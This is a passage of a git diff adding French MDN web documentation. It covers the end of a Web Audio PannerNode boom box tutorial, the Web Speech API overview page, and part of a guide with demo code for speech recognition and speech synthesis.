+var zPos = 295;
+
+leftBound = (-xPos) + 50;
+rightBound = xPos - 50;
+
+xIterator = WIDTH/150;</pre>
+
+<p>Next we set the position of the <code>listener</code> and output the coordinates to the <code>listenerData</code> paragraph. It is always going to be in the same place, in a good position relative to the panner.</p>
+
+<pre class="brush: js">listener.setPosition(xPos,yPos,300);
+listenerData.innerHTML = 'Listener data: X ' + xPos + ' Y ' + yPos + ' Z ' + 300;</pre>
+
+<p>In the <code>positionPanner()</code> function, we set the position of the panner, and output the coordinates to the <code>pannerData</code> paragraph. This function is called with each animation frame as the <code>boomBox</code> is moved, so the panner position updates accordingly:</p>
+
+<pre class="brush: js">function positionPanner() {
+  panner.setPosition(xPos,yPos,zPos);
+  pannerData.innerHTML = 'Panner data: X ' + xPos + ' Y ' + yPos + ' Z ' + zPos;
+}</pre>
+
+<h3 id="Loading_and_playing_our_music">Loading and playing our music</h3>
+
+<p>Next we use XHR to load an audio track, and <code>decodeAudioData()</code> to decode it and stick it in a buffer. Then we put the buffer into an {{domxref("AudioBufferSourceNode") }}:</p>
+
+<pre class="brush: js">function getData() {
+  source = audioCtx.createBufferSource();
+  request = new XMLHttpRequest();
+
+  request.open('GET', 'viper.ogg', true);
+
+  request.responseType = 'arraybuffer';
+
+
+  request.onload = function() {
+    var audioData = request.response;
+
+    audioCtx.decodeAudioData(audioData, function(buffer) {
+        myBuffer = buffer;
+        source.buffer = myBuffer;
+
+        source.connect(panner);
+        panner.connect(audioCtx.destination);
+        positionPanner();
+        source.loop = true;
+      },
+
+      function(e){"Error with decoding audio data" + e.err});
+
+  }
+
+  request.send();
+}</pre>
+
+<p>The next stage is to wire up the buttons to stop and play the audio. The pulse wrapper is an extra wrapper {{ htmlelement("div") }} wrapped around the <code>boomBox</code>. We apply the pulsating (<code>scaleY</code>) animation to this element when the play button is clicked, not the <code>boomBox</code> itself, because the <code>boomBox</code> already has animations applied to it throughout the course of the app's running.</p>
+
+<pre class="brush: js">var pulseWrapper = document.querySelector('.pulse-wrapper');
+
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+  pulseWrapper.classList.add('pulsate');
+}
+
+stop.onclick = function() {
+  source.stop(0);
+  play.removeAttribute('disabled');
+  pulseWrapper.classList.remove('pulsate');
+}</pre>
+
+<h3 id="Moving_the_boom_box_and_the_panner">Moving the boom box and the panner</h3>
+
+<p>The next section of code grabs references to the left, right, zoom in, and zoom out buttons, and defines initial X, Y, and scale amounts for the <code>boomBox</code> to be positioned by when the transforms first start to be applied.</p>
+
+<pre class="brush: js">var leftButton = document.querySelector('.left');
+var rightButton = document.querySelector('.right');
+var zoomInButton = document.querySelector('.zoom-in');
+var zoomOutButton = document.querySelector('.zoom-out');
+
+var boomX = 0;
+var boomY = 0;
+var boomZoom = 0.25;</pre>
+
+<p>Now we get to the four functions that control the left, right, zoom in, and zoom out functionality: <code>moveRight()</code>, <code>moveLeft()</code>, <code>zoomIn()</code>, and <code>zoomOut()</code>. Each is a little different, but works in a similar way:</p>
+
+<ol>
+ <li>The <code>boomX</code> or <code>boomZoom</code> variables are updated in order to change the <code>boomBox</code>'s position on the screen.</li>
+ <li>The <code>xPos</code> or <code>zPos</code> variables are updated in order to change the {{domxref("PannerNode") }}'s position in 3D space. The changes are quite small, but these are the values we found to work.</li>
+ <li>A check is done to see if the upper bounds of movement have been reached (a <code>boomX</code> equal or less than <code>leftBound</code> or greater than <code>rightBound</code>, or a <code>boomZoom</code> greater than 4 or equal or less than 0.25.) If so, the values are updated to force the <code>boomBox</code> to stay in certain constraints, and to force the <code>xPos</code> and <code>zPos</code> variables to also stay within certain constrants. These are, respectively, 5 greater or less than <code>WIDTH/2</code>, and a <code>zPos</code> between 295 and 299.9. These are the values we found produced a relatively realistic sounding panning and volume adjustment as the <code>boomBox</code> was moved around.</li>
+ <li><code>boomBox</code> is transformed (translated and scaled) by the new values of <code>boomX</code>, <code>boomY</code>, and <code>boomZoom</code> to move it around the screen.</li>
+ <li>The <code>positionPanner()</code> function is run to update the position of the panner.</li>
+ <li>A {{domxref("window.requestAnimationFrame") }} instance is called to keep running the function for as long as the mouse button is pressed down.</li>
+ <li>The <code>requestAnimationFrame</code> ID is returned out of the function so that it can be cancelled when the mouse button is released.</li>
+</ol>
+
+<pre class="brush: js">function moveRight() {
+  boomX += -xIterator;
+  xPos += -0.066;
+
+  if(boomX &lt;= leftBound) {
+    boomX = leftBound;
+    xPos = (WIDTH/2) - 5;
+  }
+
+  boomBox.style.webkitTransform = "translate(" + boomX + "px , " + boomY + "px) scale(" + boomZoom + ")";
+  boomBox.style.transform = "translate(" + boomX + "px , " + boomY + "px) scale(" + boomZoom + ")";
+  positionPanner();
+  rightLoop = requestAnimationFrame(moveRight);
+  return rightLoop;
+}
+
+function moveLeft() {
+  boomX += xIterator;
+  xPos += 0.066;
+
+  if(boomX &gt; rightBound) {
+    boomX = rightBound;
+    xPos = (WIDTH/2) + 5;
+  }
+
+  positionPanner();
+  boomBox.style.webkitTransform = "translate(" + boomX + "px , " + boomY + "px) scale(" + boomZoom + ")";
+  boomBox.style.transform = "translate(" + boomX + "px , " + boomY + "px) scale(" + boomZoom + ")";
+  leftLoop = requestAnimationFrame(moveLeft);
+  return leftLoop;
+}
+
+function zoomIn() {
+  boomZoom += 0.05;
+  zPos += 0.066;
+
+  if(boomZoom &gt; 4) {
+    boomZoom = 4;
+    zPos = 299.9;
+  }
+
+  positionPanner();
+  boomBox.style.webkitTransform = "translate(" + boomX + "px , " + boomY + "px) scale(" + boomZoom + ")";
+  boomBox.style.transform = "translate(" + boomX + "px , " + boomY + "px) scale(" + boomZoom + ")";
+  zoomInLoop = requestAnimationFrame(zoomIn);
+  return zoomInLoop;
+}
+
+function zoomOut() {
+  boomZoom += -0.05;
+  zPos += -0.066;
+
+  if(boomZoom &lt;= 0.25) {
+    boomZoom = 0.25;
+    zPos = 295;
+  }
+
+  positionPanner();
+  boomBox.style.webkitTransform = "translate(" + boomX + "px , " + boomY + "px) scale(" + boomZoom + ")";
+  boomBox.style.transform = "translate(" + boomX + "px , " + boomY + "px) scale(" + boomZoom + ")";
+  zoomOutLoop = requestAnimationFrame(zoomOut);
+  return zoomOutLoop;
+}</pre>
+
+<p>In the final block of code, we simply wire up event handlers to control the movement when the buttons are pressed. For each button, the relevant function is invoked <code>onmousedown</code>; then <code>onmouseup</code>, {{domxref("window.cancelAnimationFrame") }} is called along with the returned <code>requestAnimationFrame()</code> ID to stop the animation happening.</p>
+
+<pre class="brush: js">leftButton.onmousedown = moveLeft;
+leftButton.onmouseup = function () {
+  window.cancelAnimationFrame(leftLoop);
+}
+
+rightButton.onmousedown = moveRight;
+rightButton.onmouseup = function () {
+  window.cancelAnimationFrame(rightLoop);
+}
+
+zoomInButton.onmousedown = zoomIn;
+zoomInButton.onmouseup = function () {
+  window.cancelAnimationFrame(zoomInLoop);
+}
+
+zoomOutButton.onmousedown = zoomOut;
+zoomOutButton.onmouseup = function () {
+  window.cancelAnimationFrame(zoomOutLoop);
+}</pre>
+
+<h2 id="Summary">Summary</h2>
+
+<p>As you can see, the actual panner code is pretty simple — specify the positions, and the browser takes care of the rest. It is working out the surrounding code, and the values to use for positioning, which takes a bit more time.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You are probably thinking "why didn't you move the listener and keep the panner still instead: surely that is a bit more obvious?" Well, perhaps, but we felt that since the panner has more methods and properties available to it, moving it would allow more control in the long term.</p>
+</div>
+
+<p> </p>
diff --git a/files/fr/web/api/web_speech_api/index.html b/files/fr/web/api/web_speech_api/index.html
new file mode 100644
index 0000000000..2de8e886ab
--- /dev/null
+++ b/files/fr/web/api/web_speech_api/index.html
@@ -0,0 +1,116 @@
+---
+title: L'API Web Speech
+slug: Web/API/Web_Speech_API
+tags:
+  - API
+  - API Web Speech
+  - Experimental
+  - reconnaissance vocale
+  - synthèse vocale
+translation_of: Web/API/Web_Speech_API
+---
+<div>{{DefaultAPISidebar("Web Speech API")}}{{seecompattable}}</div>
+
+<div class="summary">
+<p>L'API <em lang="en">Web Speech</em> permet d'intégrer des données liées à la voix dans des applications web. L'API <em lang="en">Web Speech</em> se compose de deux parties : <em lang="en">SpeechSynthesis</em> (synthèse vocale) et <em lang="en">SpeechRecognition</em> (reconnaissance vocale asynchrone).</p>
+</div>
+
+<h2 id="Concepts_et_usages_de_lAPI_Web_Speech">Concepts et usages de l'API Web Speech</h2>
+
+<p>L'API <em lang="en">Web Speech</em> rend les applications web capables de manipuler des données liées à la voix. Cette API se compose de deux parties :</p>
+
+<ul>
+ <li>La reconnaissance vocale (<em lang="en">Speech recognition</em>) est accessible via l'interface {{domxref("SpeechRecognition")}} qui fournit la capacité de reconnaitre la voix dans une source audio (normalement grâce à l'outil par défaut de reconnaissance vocale de l'appareil) et de réagir de façon pertinente. En général, on utilisera le constructeur de l'interface pour créer un nouvel objet {{domxref("SpeechRecognition")}} qui a un nombre de gestionnaires d'événements disponibles pour détecter lorsque de la parole arrive dans le micro de l'appareil. L'interface {{domxref("SpeechGrammar")}} représente un conteneur pour une série de règles de grammaire que votre application devrait reconnaître. La grammaire est définie en utilisant <a href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (<strong>JSGF</strong>).</li>
+ <li>La synthèse vocale (<em lang="en">Speech synthesis</em>) est disponible via l'interface {{domxref("SpeechSynthesis")}}, un composant qui permet aux programmes de vocaliser leur contenu textuel (normalement grâce au synthétiseur vocal par défaut de l'appareil). Differents types de voix sont disponibles dans les objets {{domxref("SpeechSynthesisVoice")}}, et les différentes parties de texte à vocaliser sont interprétés par les objets {{domxref("SpeechSynthesisUtterance")}}. On peut les faire vocaliser en les passant à la méthode {{domxref("SpeechSynthesis.speak()")}}.</li>
+</ul>
+
+<p>Pour plus de détails concernant ces fonctionnalités, voir <a href="https://developer.mozilla.org/fr/docs/Web/API/Web_Speech_API/Using_the_Web_Speech_API">Using the Web Speech API.</a></p>
+
+<h2 id="Les_interfaces_de_lAPI_Web_Speech">Les interfaces de l'API Web Speech</h2>
+
+<h3 id="Le_reconnaissance_vocale">Le reconnaissance vocale</h3>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition")}}</dt>
+ <dd>L'interface de contrôle de l'outil de reconnaissance; elle traite aussi le {{domxref("SpeechRecognitionEvent")}} reçu de l'outil de reconnaissance.</dd>
+ <dt>{{domxref("SpeechRecognitionAlternative")}}</dt>
+ <dd>Représente un mot unique qui a été reconnu par l'outil de reconnaissane vocale.</dd>
+ <dt>{{domxref("SpeechRecognitionError")}}</dt>
+ <dd>Répresente les messages d'erreur de l'outil de reconnaissance vocale.</dd>
+ <dt>{{domxref("SpeechRecognitionEvent")}}</dt>
+ <dd>L'objet événement pour les événements {{event("result")}} et {{event("nomatch")}}, et contient toutes les données associées avec un résultat de reconnaissance vocale intermédiaire ou définitif.</dd>
+ <dt>{{domxref("SpeechGrammar")}}</dt>
+ <dd>Les mots ou schémas de mots que l'on demande à l'outil de reconnaissance vocale de reconnaître.</dd>
+ <dt>{{domxref("SpeechGrammarList")}}</dt>
+ <dd>Répresente une liste des objets {{domxref("SpeechGrammar")}}.</dd>
+ <dt>{{domxref("SpeechRecognitionResult")}}</dt>
+ <dd>Répresente une unique reconnaissance réussie, qui peut contenir plusieurs objets {{domxref("SpeechRecognitionAlternative")}}.</dd>
+ <dt>{{domxref("SpeechRecognitionResultList")}}</dt>
+ <dd>Répresente une liste d'objets {{domxref("SpeechRecognitionResult")}}, ou bien un seul si les résultats sont récupérés en mode {{domxref("SpeechRecognition.continuous","continuous")}}.</dd>
+</dl>
+
+<h3 id="La_synthèse_vocale">La synthèse vocale</h3>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesis")}}</dt>
+ <dd>L'interface de contrôle de l'outil de vocalisation; elle peut être utiliser pour rechercher des informations concernant les voix de synthèse disponible dans l'appareil, le démarrage et l'interruption de la vocalisation, et les commandes complémentaires.</dd>
+ <dt>{{domxref("SpeechSynthesisErrorEvent")}}</dt>
+ <dd>Contient les informations concernant toutes les erreurs qui se produisent pendant le traitement des objets {{domxref("SpeechSynthesisUtterance")}} dans l'outil de synthèse vocale.</dd>
+ <dt>{{domxref("SpeechSynthesisEvent")}}</dt>
+ <dd>Contient les informations concernant l'état actuel des objets {{domxref("SpeechSynthesisUtterance")}} qui ont été traités par l'outil de synthèse vocale.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance")}}</dt>
+ <dd>Répresente une requête de synthèse vocale. Il contient le contenu que l'outil de synthèse vocale devrait vocaliser et les informations sur comment le vocaliser (e.g. langue, ton et volume).</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesisVoice")}}</dt>
+ <dd>Représente une voix qui est supportée par le système. Chaque <code>SpeechSynthesisVoice</code> a son propre outil de synthèse vocale incluant les informations concernant la langue, le nom et l'URI.</dd>
+ <dt>{{domxref("Window.speechSynthesis")}}</dt>
+ <dd>Spécifiée comme une partie de l'interface <code>[NoInterfaceObject]</code> intitulée <code>SpeechSynthesisGetter</code>, et implémentée par l'objet <code>Window</code>, la propriété <code>speechSynthesis</code> fournit l'accès au controleur {{domxref("SpeechSynthesis")}}, et de ce fait un point d'entrée à la fonctionnalité de synthèse vocale.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le <a href="https://github.com/mdn/web-speech-api/">Web Speech API repo</a> sur GitHub contient des démos qui illustrent la reconnaissance vocale et la synthèse vocale.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>{{Spec2('Web Speech API')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="SpeechRecognition"><em lang="en"><code>SpeechRecognition</code></em></h3>
+
+<div>
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, merci de consulter la page <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et d'envoyer une pull request.</div>
+
+<p>{{Compat("api.SpeechRecognition", 0)}}</p>
+
+<h3 id="SpeechSynthesis"><em lang="en"><code>SpeechSynthesis</code></em></h3>
+
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, merci de consulter la page <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et d'envoyer une pull request.</div>
+
+<p>{{Compat("api.SpeechSynthesis", 0)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Web_Speech_API/Using_the_Web_Speech_API">Using the Web Speech API</a></li>
+ <li><a href="http://www.sitepoint.com/talking-web-pages-and-the-speech-synthesis-api/">Article sur le site SitePoint</a></li>
+ <li><a href="http://updates.html5rocks.com/2014/01/Web-apps-that-talk---Introduction-to-the-Speech-Synthesis-API">Article HTML5Rocks</a></li>
+ <li><a href="http://aurelio.audero.it/demo/speech-synthesis-api-demo.html">Demo</a> [aurelio.audero.it]</li>
+</ul>
+</div>
diff --git a/files/fr/web/api/web_speech_api/using_the_web_speech_api/index.html b/files/fr/web/api/web_speech_api/using_the_web_speech_api/index.html
new file mode 100644
index 0000000000..ffaa924aa3
--- /dev/null
+++ b/files/fr/web/api/web_speech_api/using_the_web_speech_api/index.html
@@ -0,0 +1,310 @@
+---
+title: Utiliser l'API Web Speech
+slug: Web/API/Web_Speech_API/Using_the_Web_Speech_API
+tags:
+  - API
+  - API Web Speech
+  - Guide
+  - Tutoriel
+  - Utilisation
+  - reconnaissance
+  - synthèse
+  - vocale
+translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API
+---
+<p class="summary">L'API Web Speech fournit deux fonctionnalités différentes — la reconnaissance vocale, et la synthèse vocale (aussi appelée "text to speech", ou tts) — qui ouvrent de nouvelles possibiités d'accessibilité, et de mécanismes de contrôle. Cet article apporte une simple introduction à ces deux domaines, accompagnée de démonstrations.</p>
+
+<h2 id="Reconnaissance_vocale">Reconnaissance vocale</h2>
+
+<p>La reconnaissance vocale implique de recevoir de la voix à travers un dispositif de capture du son, tel qu'un microphone, qui est ensuite vérifiée par un service de reconnaissance vocale utilisant une "grammaire" (le vocabulaire que vous voulez faire reconnaître par une application donnée). Quand un mot ou une phrase sont reconnus avec succès, ils sont retournés comme résultat (ou une liste de résultats) sous la forme d'une chaîne de caractères, et d'autres actions peuvent être initiées à la suite de ce résultat.</p>
+
+<p>L'API Web Speech a une interface principale de contrôle  — {{domxref("SpeechRecognition")}} — plus un nombre d'interfaces inter-reliées pour représenter une grammaire, des résultats, etc. Généralement, le système de reconnaissance vocale par défaut disponible sur le dispositif matériel sera utilisé pour la reconnaissance vocale  — la plupart des systèmes d'exploitation modernes ont un système de reonnaissance vocale pour transmettre des commandes vocales. On pense à Dictation sur macOS, Siri sur iOS, Cortana sur Windows 10, Android Speech, etc.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Sur certains navigateurs, comme Chrome, utiliser la reconnaissance vocale sur une page web implique de disposer d'un moteur de reconnaissance basé sur un serveur. Votre flux audio est envoyé à un service web pour traitement, le moteur ne fonctionnera donc pas hors ligne.</p>
+</div>
+
+<h3 id="Demo">Demo</h3>
+
+<p>Pour montrer une simple utilisation de la reconnaissance vocale Web speech, nous avons écrit une demo appelée  <a href="https://github.com/mdn/web-speech-api/tree/master/speech-color-changer">Speech color changer</a>. Quand l'écran est touché ou cliqué, vous pouvez dire un mot clé de couleur HTML et la couleur d'arrière plan de l'application sera modifié par la couleur choisie.</p>
+
+<p><img alt="The UI of an app titled Speech Color changer. It invites the user to tap the screen and say a color, and then it turns the background of the app that colour. In this case it has turned the background red." src="https://mdn.mozillademos.org/files/11975/speech-color-changer.png" style="border: 1px solid black; display: block; height: 533px; margin: 0px auto; width: 300px;"></p>
+
+<p>Pour lancer la demo, vous pouvez cloner (ou <a href="https://github.com/mdn/web-speech-api/archive/master.zip">directement télécharger</a>) le dépôt Github dont elle fait partie, ouvrir le fichier d'index HTML dans un navigateur pour ordinateur de bureau le supportant comme Chrome, ou naviguer vers <a href="https://mdn.github.io/web-speech-api/speech-color-changer/">l'URL de démonstration live</a>, sur un navigateur pour mobile le supportant comme Chrome.</p>
+
+<h3 id="Support_des_navigateurs">Support des navigateurs</h3>
+
+<p>Le support de la reconnaissance vocale via l'API Web Speech est actuellement limité à Chrome pour ordinateur de bureau et pour mobiles sur Android — Chrome le supporte depuis la version 33 mais avec des interfaces préfixées spécifiques, donc vous avez besoin d'inclure des versions d'interfaces préfixées définies, comme : <code>webkitSpeechRecognition</code>.</p>
+
+<h3 id="HTML_and_CSS">HTML and CSS</h3>
+
+<p>The HTML and CSS for the app is really trivial. We simply have a title, instructions paragraph, and a div into which we output diagnostic messages.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Speech color changer&lt;/h1&gt;
+&lt;p&gt;Tap/click then say a color to change the background color of the app.&lt;/p&gt;
+&lt;div&gt;
+  &lt;p class="output"&gt;&lt;em&gt;...diagnostic messages&lt;/em&gt;&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>The CSS provides a very simple responsive styling so that it looks ok across devices.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Let's look at the JavaScript in a bit more detail.</p>
+
+<h4 id="Chrome_support">Chrome support</h4>
+
+<p>As mentioned earlier, Chrome currently supports speech recognition with prefixed properties, therefore at the start of our code we include these lines to feed the right objects to Chrome, and any future implementations that might support the features without a prefix:</p>
+
+<pre class="brush: js notranslate">var SpeechRecognition = SpeechRecognition || webkitSpeechRecognition
+var SpeechGrammarList = SpeechGrammarList || webkitSpeechGrammarList
+var SpeechRecognitionEvent = SpeechRecognitionEvent || webkitSpeechRecognitionEvent</pre>
+
+<h4 id="The_grammar">The grammar</h4>
+
+<p>The next part of our code defines the grammar we want our app to recognise. The following variable is defined to hold our grammar:</p>
+
+<pre class="brush: js notranslate">var colors = [ 'aqua' , 'azure' , 'beige', 'bisque', 'black', 'blue', 'brown', 'chocolate', 'coral' ... ];
+var grammar = '#JSGF V1.0; grammar colors; public &lt;color&gt; = ' + colors.join(' | ') + ' ;'</pre>
+
+<p>The grammar format used is <a class="external external-icon" href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (<strong>JSGF</strong>) — you can find a lot more about it at the previous link to its spec. However, for now let's just run through it quickly:</p>
+
+<ul>
+ <li>The lines are separated by semi-colons, just like in JavaScript.</li>
+ <li>The first line — <code>#JSGF V1.0;</code> — states the format and version used. This always needs to be included first.</li>
+ <li>The second line indicates a type of term that we want to recognise. <code>public</code> declares that it is a public rule, the string in angle brackets defines the recognised name for this term (<code>color</code>), and the list of items that follow the equals sign are the alternative values that will be recognised and accepted as appropriate values for the term. Note how each is separated by a pipe character.</li>
+ <li>You can have as many terms defined as you want on separate lines following the above structure, and include fairly complex grammar definitions. For this basic demo, we are just keeping things simple. </li>
+</ul>
+
+<h4 id="Plugging_the_grammar_into_our_speech_recognition">Plugging the grammar into our speech recognition</h4>
+
+<p>The next thing to do is define a speech recogntion instance to control the recognition for our application. This is done using the {{domxref("SpeechRecognition.SpeechRecognition()","SpeechRecognition()")}} constructor. We also create a new speech grammar list to contain our grammar, using the {{domxref("SpeechGrammarList.SpeechGrammarList()","SpeechGrammarList()")}} constructor.</p>
+
+<pre class="brush: js notranslate">var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();</pre>
+
+<p>We add our <code>grammar</code> to the list using the {{domxref("SpeechGrammarList.addFromString()")}} method. This accepts as parameters the string we want to add, plus optionally a weight value that specifies the importance of this grammar in relation of other grammars available in the list (can be from 0 to 1 inclusive.) The added grammar is available in the list as a {{domxref("SpeechGrammar")}} object instance.</p>
+
+<pre class="brush: js notranslate">speechRecognitionList.addFromString(grammar, 1);</pre>
+
+<p>We then add the {{domxref("SpeechGrammarList")}} to the speech recognition instance by setting it to the value of the {{domxref("SpeechRecognition.grammars")}} property. We also set a few other properties of the recognition instance before we move on:</p>
+
+<ul>
+ <li>{{domxref("SpeechRecognition.continuous")}}: Controls whether continuous results are captured (<code>true</code>), or just a single result each time recognition is started (<code>false</code>).</li>
+ <li>{{domxref("SpeechRecognition.lang")}}: Sets the language of the recognition. Setting this is good practice, and therefore recommended.</li>
+ <li>{{domxref("SpeechRecognition.interimResults")}}: Defines whether the speech recognition system should return interim results, or just final results. Final results are good enough for this simple demo.</li>
+ <li>{{domxref("SpeechRecognition.maxAlternatives")}}: Sets the number of alternative potential matches that should be returned per result. This can sometimes be useful, say if a result is not completely clear and you want to display a list if alternatives for the user to choose the correct one from. But it is not needed for this simple demo, so we are just specifying one (which is actually the default anyway.)</li>
+</ul>
+
+<pre class="brush: js notranslate">recognition.grammars = speechRecognitionList;
+recognition.continuous = false;
+recognition.lang = 'en-US';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;</pre>
+
+<h4 id="Starting_the_speech_recognition">Starting the speech recognition</h4>
+
+<p>After grabbing references to the output {{htmlelement("div")}} and the HTML element (so we can output diagnostic messages and update the app background color later on), we implement an onclick handler so that when the screen is tapped/clicked, the speech recognition service will start. This is achieved by calling {{domxref("SpeechRecognition.start()")}}. The <code>forEach()</code> method is used to output colored indicators showing what colors to try saying.</p>
+
+<pre class="brush: js notranslate">var diagnostic = document.querySelector('.output');
+var bg = document.querySelector('html');
+var hints = document.querySelector('.hints');
+
+var colorHTML= '';
+colors.forEach(function(v, i, a){
+  console.log(v, i);
+  colorHTML += '&lt;span style="background-color:' + v + ';"&gt; ' + v + ' &lt;/span&gt;';
+});
+hints.innerHTML = 'Tap/click then say a color to change the background color of the app. Try ' + colorHTML + '.';
+
+document.body.onclick = function() {
+  recognition.start();
+  console.log('Ready to receive a color command.');
+}</pre>
+
+<h4 id="Receiving_and_handling_results">Receiving and handling results</h4>
+
+<p>Once the speech recognition is started, there are many event handlers that can be used to retrieve results, and other pieces of surrounding information (see the <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition#Event_handlers"><code>SpeechRecognition</code> event handlers list</a>.) The most common one you'll probably use is {{domxref("SpeechRecognition.onresult")}}, which is fired once a successful result is received:</p>
+
+<pre class="brush: js notranslate">recognition.onresult = function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color + '.';
+  bg.style.backgroundColor = color;
+  console.log('Confidence: ' + event.results[0][0].confidence);
+}</pre>
+
+<p>The second line here is a bit complex-looking, so let's explain it step by step. The {{domxref("SpeechRecognitionEvent.results")}} property returns a {{domxref("SpeechRecognitionResultList")}} object containing {{domxref("SpeechRecognitionResult")}} objects. It has a getter so it can be accessed like an array — so the first <code>[0]</code> returns the <code>SpeechRecognitionResult</code> at position 0. Each <code>SpeechRecognitionResult</code> object contains {{domxref("SpeechRecognitionAlternative")}} objects that contain individual recognised words. These also have getters so they can be accessed like arrays — the second <code>[0]</code> therefore returns the <code>SpeechRecognitionAlternative</code> at position 0. We then return its <code>transcript</code> property to get a string containing the individual recognised result as a string, set the background color to that color, and report the color recognised as a diagnostic message in the UI.</p>
+
+<p>We also use a {{domxref("SpeechRecognition.onspeechend")}} handler to stop the speech recognition service from running (using {{domxref("SpeechRecognition.stop()")}}) once a single word has been recognised and it has finished being spoken:</p>
+
+<pre class="brush: js notranslate">recognition.onspeechend = function() {
+  recognition.stop();
+}</pre>
+
+<h4 id="Handling_errors_and_unrecognised_speech">Handling errors and unrecognised speech</h4>
+
+<p>The last two handlers are there to handle cases where speech was recognised that wasn't in the defined grammar, or an error occured. {{domxref("SpeechRecognition.onnomatch")}} seems to be supposed to handle the first case mentioned, although note that at the moment it doesn't seem to fire correctly; it just returns whatever was recognised anyway:</p>
+
+<pre class="brush: js notranslate">recognition.onnomatch = function(event) {
+  diagnostic.textContent = 'I didnt recognise that color.';
+}</pre>
+
+<p>{{domxref("SpeechRecognition.onerror")}} handles cases where there is an actual error with the recognition successfully — the {{domxref("SpeechRecognitionError.error")}} property contains the actual error returned:</p>
+
+<pre class="brush: js notranslate">recognition.onerror = function(event) {
+  diagnostic.textContent = 'Error occurred in recognition: ' + event.error;
+}</pre>
+
+<h2 id="Speech_synthesis">Speech synthesis</h2>
+
+<p>Speech synthesis (aka text-to-speech, or tts) involves receiving synthesising text contained within an app to speech, and playing it out of a device's speaker or audio output connection.</p>
+
+<p>The Web Speech API has a main controller interface for this — {{domxref("SpeechSynthesis")}} — plus a number of closely-related interfaces for representing text to be synthesised (known as utterances), voices to be used for the utterance, etc. Again, most OSes have some kind of speech synthesis system, which will be used by the API for this task as available.</p>
+
+<h3 id="Demo_2">Demo</h3>
+
+<p>To show simple usage of Web speech synthesis, we've provided a demo called <a href="https://mdn.github.io/web-speech-api/speak-easy-synthesis/">Speak easy synthesis</a>. This includes a set of form controls for entering text to be synthesised, and setting the pitch, rate, and voice to use when the text is uttered. After you have entered your text, you can press <kbd>Enter</kbd>/<kbd>Return</kbd> to hear it spoken.</p>
+
+<p><img alt="UI of an app called speak easy synthesis. It has an input field in which to input text to be synthesised, slider controls to change the rate and pitch of the speech, and a drop down menu to choose between different voices." src="https://mdn.mozillademos.org/files/11977/speak-easy-synthesis.png" style="border: 1px solid black; display: block; height: 533px; margin: 0px auto; width: 300px;"></p>
+
+<p>To run the demo, you can clone (or <a href="https://github.com/mdn/web-speech-api/archive/master.zip">directly download</a>) the Github repo it is part of, open the HTML index file in a supporting desktop browser, or navigate to the <a href="https://mdn.github.io/web-speech-api/speak-easy-synthesis/">live demo URL</a> in a supporting mobile browser like Chrome, or Firefox OS.</p>
+
+<h3 id="Browser_support">Browser support</h3>
+
+<p>Support for Web Speech API speech synthesis is still getting there across mainstream browsers, and is currently limited to the following:</p>
+
+<ul>
+ <li>
+  <p>Firefox desktop and mobile support it in Gecko 42+ (Windows)/44+, without prefixes, and it can be turned on by flipping the <code>media.webspeech.synth.enabled</code> flag to <code>true</code> in <code>about:config</code>.</p>
+ </li>
+ <li>
+  <p>Firefox OS 2.5+ supports it, by default, and without the need for any permissions.</p>
+ </li>
+ <li>
+  <p>Chrome for Desktop and Android have supported it since around version 33, without prefixes.</p>
+ </li>
+</ul>
+
+<h3 id="HTML_and_CSS_2">HTML and CSS</h3>
+
+<p>The HTML and CSS are again pretty trivial, simply containing a title, some instructions for use, and a form with some simple controls. The {{htmlelement("select")}} element is initially empty, but is populated with {{htmlelement("option")}}s via JavaScript (see later on.)</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Speech synthesiser&lt;/h1&gt;
+
+&lt;p&gt;Enter some text in the input below and press return to hear it. change voices using the dropdown menu.&lt;/p&gt;
+
+&lt;form&gt;
+  &lt;input type="text" class="txt"&gt;
+  &lt;div&gt;
+    &lt;label for="rate"&gt;Rate&lt;/label&gt;&lt;input type="range" min="0.5" max="2" value="1" step="0.1" id="rate"&gt;
+    &lt;div class="rate-value"&gt;1&lt;/div&gt;
+    &lt;div class="clearfix"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="pitch"&gt;Pitch&lt;/label&gt;&lt;input type="range" min="0" max="2" value="1" step="0.1" id="pitch"&gt;
+    &lt;div class="pitch-value"&gt;1&lt;/div&gt;
+    &lt;div class="clearfix"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;select&gt;
+
+  &lt;/select&gt;
+&lt;/form&gt;</pre>
+
